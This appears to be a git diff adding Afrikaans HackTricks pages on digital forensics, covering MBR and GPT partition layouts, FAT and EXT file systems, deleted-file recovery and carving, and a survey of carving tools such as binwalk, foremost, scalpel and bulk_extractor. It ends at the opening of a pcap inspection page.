* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,260 @@
|
|||
# Partitions/File Systems/Carving
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Partisies
|
||||
|
||||
'n Harde skyf of 'n **SSD-skyf kan verskillende partisies** bevat met die doel om data fisies te skei.\
|
||||
Die **minimum** eenheid van 'n skyf is die **sector** (gewoonlik saamgestel uit 512B). Dus moet elke partisiegrootte 'n veelvoud van daardie grootte wees.
|
||||
|
||||
### MBR (Master Boot Record)
|
||||
|
||||
Dit is toegewys in die **eerste sektor van die skyf na die 446B van die opstartkode**. Hierdie sektor is noodsaaklik om aan die rekenaar aan te dui wat en van waar 'n partisie moet word aangeheg.\
|
||||
Dit laat tot **4 partisies** toe (hoogstens **net 1** kan aktief/**opstartbaar** wees). As jy egter meer partisies benodig, kan jy **uitgebreide partisies** gebruik. Die **laaste byte** van hierdie eerste sektor is die opstartrekordhandtekening **0x55AA**. Slegs een partisie kan as aktief gemerk word.\
|
||||
MBR laat **maks 2.2TB** toe.
|
||||
|
||||
![](<../../../.gitbook/assets/image (489).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (490).png>)
|
||||
|
||||
Vanaf die **byte 440 tot die 443** van die MBR kan jy die **Windows Skyfhandtekening** vind (as Windows gebruik word). Die logiese aanduiding van die harde skyf hang af van die Windows Skyfhandtekening. Die verandering van hierdie handtekening kan voorkom dat Windows opstart (gereedskap: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (493).png>)
|
||||
|
||||
**Formaat**
|
||||
|
||||
| Offset | Lengte | Item |
|
||||
| ----------- | ---------- | ---------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Opstartkode |
|
||||
| 446 (0x1BE) | 16 (0x10) | Eerste Partisie |
|
||||
| 462 (0x1CE) | 16 (0x10) | Tweede Partisie |
|
||||
| 478 (0x1DE) | 16 (0x10) | Derde Partisie |
|
||||
| 494 (0x1EE) | 16 (0x10) | Vierde Partisie |
|
||||
| 510 (0x1FE) | 2 (0x2) | Handtekening 0x55 0xAA |
|
||||
|
||||
**Partisie Rekordformaat**
|
||||
|
||||
| Offset | Lengte | Item |
|
||||
| --------- | -------- | --------------------------------------------------------- |
|
||||
| 0 (0x00) | 1 (0x01) | Aktiewe vlag (0x80 = opstartbaar) |
|
||||
| 1 (0x01) | 1 (0x01) | Beginkop |
|
||||
| 2 (0x02) | 1 (0x01) | Beginsektor (bits 0-5); boonste bits van silinder (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Begin silinder laagste 8 bits |
|
||||
| 4 (0x04) | 1 (0x01) | Partisietipekode (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Eindekop |
|
||||
| 6 (0x06) | 1 (0x01) | Einde sektor (bits 0-5); boonste bits van silinder (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Einde silinder laagste 8 bits |
|
||||
| 8 (0x08) | 4 (0x04) | Sektor voor partisie (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektor in partisie |
|
||||
|
||||
Om 'n MBR in Linux aan te heg, moet jy eers die beginoffset kry (jy kan `fdisk` en die `p`-opdrag gebruik)
|
||||
|
||||
![](https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20\(413\)%20\(3\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(12\).png)
|
||||
|
||||
En gebruik dan die volgende kode
|
||||
|
||||
```bash
|
||||
#Mount MBR in Linux
|
||||
mount -o ro,loop,offset=<Bytes>
|
||||
#63x512 = 32256Bytes
|
||||
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
|
||||
**LBA (Logiese blokadressering)**
|
||||
|
||||
**Logiese blokadressering** (**LBA**) is 'n algemene skema wat gebruik word om **die ligging van blokke** data wat op rekenaarstoor-toestelle gestoor word, te spesifiseer, gewoonlik sekondêre stoorstelsels soos harde skyfies. LBA is 'n veral eenvoudige lineêre adresseringstelsel; **blokke word gelokaliseer deur 'n heelgetalindeks**, met die eerste blok wat LBA 0 is, die tweede LBA 1, ensovoorts.
|
||||
|
||||
### GPT (GUID-partisietabel)
|
||||
|
||||
Die GUID-partisietabel, bekend as GPT, word verkies vir sy verbeterde vermoëns in vergelyking met MBR (Meester Koppelrekord). Kenmerkend vir sy **wêreldwyd unieke identifiseerder** vir partisies, steek GPT uit op verskeie maniere:
|
||||
|
||||
* **Ligging en Grootte**: Beide GPT en MBR begin by **sektor 0**. Tog werk GPT met **64-bits**, in teenstelling met MBR se 32-bits.
|
||||
* **Partisiegrense**: GPT ondersteun tot **128 partisies** op Windows-stelsels en kan tot **9.4ZB** data akkommodeer.
|
||||
* **Partisienames**: Bied die vermoë om partisies te benoem met tot 36 Unicode-karakters.
|
||||
|
||||
**Dataweerbaarheid en -herwinning**:
|
||||
|
||||
* **Redundansie**: Anders as MBR, beperk GPT nie partisionering en opstartdata tot 'n enkele plek nie. Dit dupliseer hierdie data oor die skyf, wat data-integriteit en -weerbaarheid verbeter.
|
||||
* **Sikliese Redundansie Kontrole (CRC)**: GPT gebruik CRC om data-integriteit te verseker. Dit monitor aktief vir datakorrupsie, en wanneer dit opgespoor word, probeer GPT om die gekorrupreerde data vanaf 'n ander skyflokasie te herwin.
|
||||
|
||||
**Beskermende MBR (LBA0)**:
|
||||
|
||||
* GPT handhaaf agterwaartse verenigbaarheid deur 'n beskermende MBR. Hierdie kenmerk bly in die erfenis MBR-ruimte, maar is ontwerp om te voorkom dat ouer MBR-gebaseerde nutsbedrywe per abuis GPT-skrywe oorskryf, en sodoende die data-integriteit op GPT-geformateerde skywe beskerm.
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||
|
||||
**Hibriede MBR (LBA 0 + GPT)**
|
||||
|
||||
[Vanaf Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
In bedryfstelsels wat **GPT-gebaseerde opstart deur BIOS**-dienste ondersteun eerder as EFI, kan die eerste sektor steeds gebruik word om die eerste stadium van die **opstartlaaikode** te stoor, maar **aangepas** om **GPT-partisies** te herken. Die opstartlaaier in die MBR mag nie aanneem dat 'n sektor grootte van 512 byte is nie.
|
||||
|
||||
**Partisietabelkop (LBA 1)**
|
||||
|
||||
[Vanaf Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
Die partisietabelkop definieer die bruikbare blokke op die skyf. Dit definieer ook die aantal en grootte van die partisie-inskrywings wat die partisietabel uitmaak (offsets 80 en 84 in die tabel).
|
||||
|
||||
| Offset | Lengte | Inhoud |
|
||||
| --------- | ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 byte | Handtekening ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h of 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)op klein-eindige masjiene) |
|
||||
| 8 (0x08) | 4 byte | Revisie 1.0 (00h 00h 01h 00h) vir UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 byte | Kopgrootte in klein-eindige (in byte, gewoonlik 5Ch 00h 00h 00h of 92 byte) |
|
||||
| 16 (0x10) | 4 byte | [CRC32](https://en.wikipedia.org/wiki/CRC32) van kop (offset +0 tot kopgrootte) in klein-eindige, met hierdie veld wat genul word tydens berekening |
|
||||
| 20 (0x14) | 4 byte | Voorbehou; moet nul wees |
|
||||
| 24 (0x18) | 8 byte | Huidige LBA (ligging van hierdie kopie van die kop) |
|
||||
| 32 (0x20) | 8 byte | Agterste LBA (ligging van die ander kopie van die kop) |
|
||||
| 40 (0x28) | 8 byte | Eerste bruikbare LBA vir partisies (primêre partisietabel laaste LBA + 1) |
|
||||
| 48 (0x30) | 8 byte | Laaste bruikbare LBA (sekondêre partisietabel eerste LBA − 1) |
|
||||
| 56 (0x38) | 16 byte | Skyf-GUID in gemengde eindige |
|
||||
| 72 (0x48) | 8 byte | Begin LBA van 'n reeks partisie-inskrywings (altyd 2 in primêre kopie) |
|
||||
| 80 (0x50) | 4 byte | Aantal partisie-inskrywings in reeks |
|
||||
| 84 (0x54) | 4 byte | Grootte van 'n enkele partisie-inskrywing (gewoonlik 80h of 128) |
|
||||
| 88 (0x58) | 4 byte | CRC32 van partisie-inskrywingsreeks in klein-eindige |
|
||||
| 92 (0x5C) | \* | Voorbehou; moet nulle wees vir die res van die blok (420 byte vir 'n sektor grootte van 512 byte; maar kan meer wees met groter sektorgroottes) |
|
||||
|
||||
**Partisie-inskrywings (LBA 2–33)**
|
||||
|
||||
| GUID-partisie-inskrywingsformaat | | |
|
||||
| -------------------------------- | ------- | -------------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Lengte | Inhoud |
|
||||
| 0 (0x00) | 16 byte | [Partisie-tipe-GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (gemengde eindige) |
|
||||
| 16 (0x10) | 16 byte | Unieke partisie-GUID (gemengde eindige) |
|
||||
| 32 (0x20) | 8 byte | Eerste LBA ([klein-eindige](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 byte | Laaste LBA (inklusief, gewoonlik oneweredig) |
|
||||
| 48 (0x30) | 8 byte | Kenmerkvlagte (bv. bit 60 dui op slegs leesbaar) |
|
||||
| 56 (0x38) | 72 byte | Partisienaam (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE-kode-eenhede) |
|
||||
|
||||
**Partisietipes**
|
||||
|
||||
![](<../../../.gitbook/assets/image (492).png>)
|
||||
|
||||
Meer partisietipes in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
### Inspeksie
|
||||
|
||||
Nadat die forensiese beeld met [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) aan die gang gesit is, kan jy die eerste sektor inspekteer met die Windows-program [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In die volgende beeld is 'n **MBR** op **sektor 0** opgespoor en geïnterpreteer:
|
||||
|
||||
![](<../../../.gitbook/assets/image (494).png>)
|
||||
|
||||
Indien dit 'n **GPT-tabel in plaas van 'n MBR** was, behoort die handtekening _EFI PART_ in **sektor 1** te verskyn (wat in die vorige beeld leeg is).
|
||||
|
||||
## Lêer-Stelsels
|
||||
|
||||
### Windows lêer-stelsels lys
|
||||
|
||||
* **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||
* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||
* **ReFS**: 2012/2016
|
||||
|
||||
### FAT
|
||||
|
||||
Die **FAT (Lêer-toewysingstabel)** lêer-stelsel is ontwerp rondom sy kernkomponent, die lêer-toewysingstabel, wat by die begin van die volume geplaas is. Hierdie stelsel beskerm data deur **twee kopieë** van die tabel te handhaaf, wat data-integriteit verseker selfs as een beskadig is. Die tabel, saam met die hoofmap, moet in 'n **vaste posisie** wees, wat noodsaaklik is vir die stelsel se opstartproses.
|
||||
|
||||
Die basiese eenheid van stoorplek in die lêer-stelsel is 'n **kluster, gewoonlik 512B**, wat uit verskeie sektore bestaan. FAT het deur weergawes geëvolueer:
|
||||
|
||||
* **FAT12**, wat 12-bietjie kluster-adresse ondersteun en tot 4078 klusters kan hanteer (4084 met UNIX).
|
||||
* **FAT16**, wat vorder tot 16-bietjie adresse, en dus tot 65,517 klusters kan akkommodeer.
|
||||
* **FAT32**, wat verder vorder met 32-bietjie adresse, wat 'n indrukwekkende 268,435,456 klusters per volume toelaat.
|
||||
|
||||
'n Beduidende beperking regoor FAT-weergawes is die **4GB maksimum lêergrootte**, opgelê deur die 32-bietjie veld wat vir lêergrootte stoor gebruik word.
|
||||
|
||||
Belangrike komponente van die hoofgids, veral vir FAT12 en FAT16, sluit in:
|
||||
|
||||
* **Lêer/Map Naam** (tot 8 karakters)
|
||||
* **Eienskappe**
|
||||
* **Skep, Wysiging, en Laaste Toegangsdatums**
|
||||
* **FAT Tabel Adres** (wat die beginkluster van die lêer aandui)
|
||||
* **Lêergrootte**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** is die mees algemene lêer-stelsel vir **nie-journaal** partisies (**partisies wat nie veel verander nie**) soos die opstartpartisie. **Ext3/4** is **journaal** en word gewoonlik vir die **res van die partisies** gebruik.
|
||||
|
||||
## **Metadata**
|
||||
|
||||
Sommige lêers bevat metadata. Hierdie inligting gaan oor die inhoud van die lêer wat soms interessant vir 'n analis kan wees, aangesien dit, afhangend van die lêertipe, inligting soos die volgende kan bevat:
|
||||
|
||||
* Titel
|
||||
* MS Office Weergawe gebruik
|
||||
* Skrywer
|
||||
* Skep- en Laaste Wysigingsdatums
|
||||
* Kamera model
|
||||
* GPS koördinate
|
||||
* Beeldinligting
|
||||
|
||||
Jy kan gereedskap soos [**exiftool**](https://exiftool.org) en [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gebruik om die metadata van 'n lêer te kry.
|
||||
|
||||
## **Verwyderde Lêers Herwinning**
|
||||
|
||||
### Gelogde Verwyderde Lêers
|
||||
|
||||
Soos voorheen gesien is daar verskeie plekke waar die lêer nog steeds gestoor word nadat dit "verwyder" is. Dit is omdat die verwydering van 'n lêer uit 'n lêer-stelsel dit gewoonlik net as verwyder gemerk, maar die data nie geraak word nie. Dan is dit moontlik om die registre van die lêers (soos die MFT) te ondersoek en die verwyderde lêers te vind.
|
||||
|
||||
Die bedryfstelsel stoor ook gewoonlik baie inligting oor lêer-stelselveranderings en rugsteune, sodat dit moontlik is om dit te probeer gebruik om die lêer of soveel moontlik inligting te herwin.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Lêer Uitsnyding**
|
||||
|
||||
**Lêer uitsnyding** is 'n tegniek wat probeer om lêers in die massa data te vind. Daar is 3 hoof maniere waarop gereedskap soos hierdie werk: **Gebaseer op lêertipes koppe en sterte**, gebaseer op lêertipes **strukture** en gebaseer op die **inhoud** self.
|
||||
|
||||
Let daarop dat hierdie tegniek **nie werk om gefragmenteerde lêers te herwin nie**. As 'n lêer **nie in aaneenlopende sektore gestoor word nie**, sal hierdie tegniek dit nie kan vind nie of ten minste 'n deel daarvan.
|
||||
|
||||
Daar is verskeie gereedskap wat jy kan gebruik vir lêer uitsnyding wat die lêertipes aandui wat jy wil soek
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Datastroom **Uitsnyding**
|
||||
|
||||
Datastroom Uitsnyding is soortgelyk aan Lêer Uitsnyding, maar **in plaas daarvan om na volledige lêers te soek, soek dit na interessante fragmente** van inligting.\
|
||||
Byvoorbeeld, in plaas daarvan om na 'n volledige lêer te soek wat gelogde URL's bevat, sal hierdie tegniek na URL's soek.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Veilige Verwydering
|
||||
|
||||
Duidelik is daar maniere om lêers en dele van logboeke oor hulle **"veilig" te verwyder**. Byvoorbeeld, dit is moontlik om die inhoud van 'n lêer met rommeldata verskeie kere te **oor-skryf**, en dan die **logboeke** van die **$MFT** en **$LOGFILE** oor die lêer te **verwyder**, en die Volume Shadow Copies te **verwyder**.\
|
||||
Jy mag opmerk dat selfs nadat daardie aksie uitgevoer is, daar dalk **ander dele is waar die bestaan van die lêer steeds gelog word**, en dit is waar en deel van die forensiese professionele werk is om hulle te vind.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
* **iHackLabs Certified Digital Forensics Windows**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,125 @@
|
|||
# Lêer/Data Uithol & Herstelgereedskap
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Uithol & Herstelgereedskap
|
||||
|
||||
Meer gereedskap in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
Die mees algemene gereedskap wat in forensika gebruik word om lêers uit beelde te onttrek is [**Autopsy**](https://www.autopsy.com/download/). Laai dit af, installeer dit en laat dit die lêer inneem om "verborge" lêers te vind. Let daarop dat Autopsy gebou is om skyfbeeld en ander soorte beelde te ondersteun, maar nie eenvoudige lêers nie.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** is 'n gereedskap vir die analise van binêre lêers om ingeslote inhoud te vind. Dit is installeerbaar via `apt` en die bron is op [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Nuttige bevele**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
### Foremost
|
||||
|
||||
'n Ander algemene instrument om verskuilde lêers te vind is **foremost**. Jy kan die opsetlêer van foremost vind in `/etc/foremost.conf`. As jy net wil soek na spesifieke lêers, moet jy hulle uitkommentarieer. As jy niks uitkommentarieer nie, sal foremost soek na sy verstek geconfigureerde lêertipes.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** is nog 'n instrument wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy nodig wees om uit die konfigurasie lêer (_/etc/scalpel/scalpel.conf_) die lêertipes wat jy wil onttrek, te ontkommentarieer.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
### Bulk Extractor
|
||||
|
||||
Hierdie gereedskap kom binne Kali, maar jy kan dit hier vind: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Hierdie gereedskap kan 'n beeld skandeer en sal **pcaps onttrek** binne dit, **netwerk inligting (URL's, domeine, IP's, MAC's, e-posse)** en meer **lêers**. Jy hoef net te doen:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigeer deur **alle inligting** wat die instrument ingesamel het (wagwoorde?), **analiseer** die **pakette** (lees[ **Pcaps-analise**](../pcap-inspection/)), soek na **vreemde domeine** (domeine verwant aan **malware** of **nie-bestaande**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
Jy kan dit vind op [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
|
||||
Dit kom met GUI- en CLI-weergawes. Jy kan die **lêertipes** kies wat PhotoRec moet soek.
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
### binvis
|
||||
|
||||
Kyk na die [kode](https://code.google.com/archive/p/binvis/) en die [webwerf-instrument](https://binvis.io/#/).
|
||||
|
||||
#### Kenmerke van BinVis
|
||||
|
||||
* Visuele en aktiewe **struktuurkyker**
|
||||
* Verskeie grafieke vir verskillende fokuspunte
|
||||
* Fokus op dele van 'n monster
|
||||
* **Sien van reekse en bronne**, in PE of ELF uitvoerbare lêers bv.
|
||||
* Kry **patrone** vir kriptontleding van lêers
|
||||
* **Opmerk** pakkerversekerings- of enkodeeralgoritmes
|
||||
* **Identifiseer** Steganografie deur patrone
|
||||
* **Visuele** binêre-verskil
|
||||
|
||||
BinVis is 'n goeie **beginpunt om vertroud te raak met 'n onbekende teiken** in 'n swart-boksing scenario.
|
||||
|
||||
## Spesifieke Data Carving-instrumente
|
||||
|
||||
### FindAES
|
||||
|
||||
Soek na AES-sleutels deur te soek na hul sleutelskedules. In staat om 128, 192, en 256 bit sleutels te vind, soos dié wat deur TrueCrypt en BitLocker gebruik word.
|
||||
|
||||
Laai af [hier](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Aanvullende instrumente
|
||||
|
||||
Jy kan [**viu** ](https://github.com/atanunq/viu)gebruik om beelde van die terminaal te sien.\
|
||||
Jy kan die linux-opdraglyn-instrument **pdftotext** gebruik om 'n pdf in te skakel na teks en dit te lees.
|
||||
|
||||
**Probeer Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,327 @@
|
|||
# Pcap Inspeksie
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidsevenement in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
|
||||
|
||||
